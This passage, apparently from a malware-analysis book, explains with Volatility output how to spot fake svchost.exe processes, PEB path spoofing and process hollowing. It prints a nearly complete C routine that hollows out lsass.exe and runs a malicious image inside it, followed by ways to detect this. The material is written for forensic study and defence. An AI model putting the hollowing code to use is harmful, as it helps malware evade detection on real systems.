smss.exe 520 4 3 21 Thu Dec 03 16:43:20 2009

csrss.exe 584 520 12 336 Thu Dec 03 16:43:21 2009

winlogon.exe 608 520 16 542 Thu Dec 03 16:43:21 2009

services.exe 652 608 15 257 Thu Dec 03 16:43:21 2009

lsass.exe 664 608 18 318 Thu Dec 03 16:43:21 2009

svchost.exe 820 652 16 190 Thu Dec 03 16:43:21 2009

svchost.exe 896 652 9 235 Thu Dec 03 16:43:22 2009

svchost.exe 992 652 48 1053 Thu Dec 03 16:43:22 2009

svchost.exe 1036 652 4 55 Thu Dec 03 16:43:22 2009

svchost.exe 1080 652 13 201 Thu Dec 03 16:43:23 2009

spoolsv.exe 1436 652 10 107 Thu Dec 03 16:43:23 2009

explorer.exe 1560 1536 11 384 Thu Dec 03 16:43:24 2009

cmd.exe 1984 1560 1 31 Thu Dec 03 16:44:42 2009

svchost.exe 2908 652 1 8 Fri Dec 04 15:06:41 2009

win32dd.exe 2916 1984 1 21 Fri Dec 04 15:36:50 2009

To investigate either trick discussed so far in this recipe, you can use the dlllist or the pstree command to see the full path on disk to the process’s binary. Each of these plug-ins prints information from the Process Environment Block (PEB), which is described in detail in Chapter 16. In this case, you can tell if a process is running from a non-standard directory.

$ python volatility.py dlllist –f fakesvchost.bin –p 2908

*************************************************

svchost.exe pid: 2908

Command line : C:\Temp\svchost.exe

Service Pack 2

[REMOVED]

The only problem with this detection method is that the PEB is a writable location inside each process’s private memory space. Therefore, once C:\Temp\svchost.exe starts, it could patch its own PEB to report a different binary path. Although this attack is quite simple to implement, it’s not optimal for malware authors, because it’s also quite simple to detect. You can still find the true path to the executable image by looking at the memory mapped files in the process—which we discuss in Chapter 16.

Hollow Process Tricks

A slightly more advanced trick that is commonly used by malware is known as process hollowing. Once we explain the technique, you might relate it to code injection, which is also accurate. However, with a typical code injection, the target process remains running and just executes additional (malicious) code on behalf of the malware. With process hollowing, the malware starts a brand new instance of a legitimate process, such as lsass.exe. Before the process’s first thread begins, the malware deallocates the memory containing lsass.exe’s code (i.e. hollows it out) and replaces it with the body of the malware. In this sense, for the remainder of the process’s lifetime, it only executes malicious code. However, the PEB and memory mapped files list will identify the path to the legitimate lsass.exe binary. Figure 15-6 shows a before-and-after memory layout for the described behavior.

Figure 15-6: Diagram of the hollow process trick

The following steps describe how to conduct such an attack:

1. Start a new instance of a legitimate process (for example, C:\windows\system32\lsass.exe), but with its first thread suspended. The PEB of the new process will identify the full path to the legitimate lsass.exe.

void HollowProcess(

LPSTR szProcessToReplace, // path to legit process

LPSTR szReplacementProcess) // path to malware

{

LPBYTE pData = NULL;

PIMAGE_DOS_HEADER pidh = NULL;

PIMAGE_NT_HEADERS pinh = NULL;

PIMAGE_SECTION_HEADER pish = NULL;

STARTUPINFOA si;

PROCESS_INFORMATION pi;

NTUNMAPVIEWOFSECTION NtUnmapViewOfSection = NULL;

HMODULE hNtdll = NULL;

CONTEXT Ctx;

int i = 0;

memset(&si, 0, sizeof(si));

si.cb = sizeof(si);

CreateProcessA(

NULL,

szProcessToReplace,

NULL, NULL, FALSE,

CREATE_SUSPENDED,

NULL, NULL,

&si, &pi);

2. Open the malicious file (C:\temp\malware.exe) and read its contents into a buffer, so you can begin to parse its PE header.

// This function (not shown) just reads the file on disk

pData = GetData(szReplacementProcess);

if (pData == NULL)

return;

pidh = (PIMAGE_DOS_HEADER)&pData[0];

pinh = (PIMAGE_NT_HEADERS)&pData[pidh->e_lfanew];

3. Free the memory section in the lsass.exe process that holds the malicious process’s ImageBase. Note that after this change, the DLLs loaded by lsass.exe will remain loaded, all heaps will remain allocated, all handles open, and so on.

hNtdll = GetModuleHandleA("ntdll.dll");

NtUnmapViewOfSection = (NTUNMAPVIEWOFSECTION)

GetProcAddress(hNtdll, "NtUnmapViewOfSection");

if (NtUnmapViewOfSection == NULL)

return;

NtUnmapViewOfSection(

pi.hProcess,

(PVOID)pinh->OptionalHeader.ImageBase);

4. Allocate a new memory segment in lsass.exe starting at the malicious process’s ImageBase and make sure the memory can be read, written, and executed.

VirtualAllocEx(

pi.hProcess,

(PVOID)pinh->OptionalHeader.ImageBase,

pinh->OptionalHeader.SizeOfImage,

MEM_COMMIT | MEM_RESERVE,

PAGE_EXECUTE_READWRITE);

5. Copy the PE header for the malicious process into the newly allocated memory in lsass.exe.

WriteProcessMemory(

pi.hProcess,

(PVOID)pinh->OptionalHeader.ImageBase,

&pData[0],

pinh->OptionalHeader.SizeOfHeaders,

NULL);

6. Copy each PE section for the malicious process into the proper virtual address in lsass.exe.

for (i=0; i<pinh->FileHeader.NumberOfSections; i++)

{

int offset = pidh->e_lfanew + \

sizeof(IMAGE_NT_HEADERS) + \

sizeof(IMAGE_SECTION_HEADER) * i;

pish = (PIMAGE_SECTION_HEADER)&pData[offset];

WriteProcessMemory(

pi.hProcess,

(LPVOID)(pinh->OptionalHeader.ImageBase +

pish->VirtualAddress),

&pData[pish->PointerToRawData],

pish->SizeOfRawData,

NULL);

}

7. Set the start address for the first thread (the one that has been in a suspended state) to point at the malicious process’s AddressOfEntryPoint value.

Ctx.ContextFlags = CONTEXT_FULL;

GetThreadContext(pi.hThread, &Ctx);

Ctx.Eax = pinh->OptionalHeader.ImageBase \

+ pinh->OptionalHeader.AddressOfEntryPoint;

SetThreadContext(pi.hThread, &Ctx);

8. Resume the thread. At this point, the malicious process begins executing within the container created for lsass.exe.

To combat these types of tricks, several methods are at your disposal. The following is a list of possibilities and where you can learn more about them:

· Extract the executable image from memory and examine it with strings, ssdeep, IDA Pro, or a hex editor (Chapter 16).

· Analyze the VAD in order to see the name of the mapped file at the given base address (Chapter 16).

· View the process’s open file handles, open registry keys, open network sockets, and other resources. Even if the malware tries to blend in using process context tricks, you can still detect its behaviors (Chapter 18).

· Use the getsids command to determine which SIDs own the process. For example, consider the difference between the SIDs for the legitimate winlogon.exe and a process which was started by a user from Explorer:

# This is a legitimate winlogon.exe

winlogon.exe (632): S-1-5-18 (Local System)

winlogon.exe (632): S-1-5-32-544 (Administrators)

winlogon.exe (632): S-1-1-0 (Everyone)

winlogon.exe (632): S-1-5-11 (Authenticated Users)

# This is a process started from Explorer by the user

aelas.exe (1984): S-1-5-21-1614895754-436374069-839522115-500 (Administrator)

aelas.exe (1984): S-1-5-21-1614895754-436374069-839522115-513 (Domain Users)

aelas.exe (1984): S-1-1-0 (Everyone)

aelas.exe (1984): S-1-5-32-544 (Administrators)

aelas.exe (1984): S-1-5-32-545 (Users)

aelas.exe (1984): S-1-5-4 (Interactive)

aelas.exe (1984): S-1-5-11 (Authenticated Users)

aelas.exe (1984): S-1-5-5-0-59917 (Logon Session)

aelas.exe (1984): S-1-2-0 (Users with the ability to log in locally)

Based on the output, you know that if you ever see a process named winlogon.exe that has SID owners similar to the aelas.exe process, then the winlogon.exe is probably not the real winlogon.exe.

²² http://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/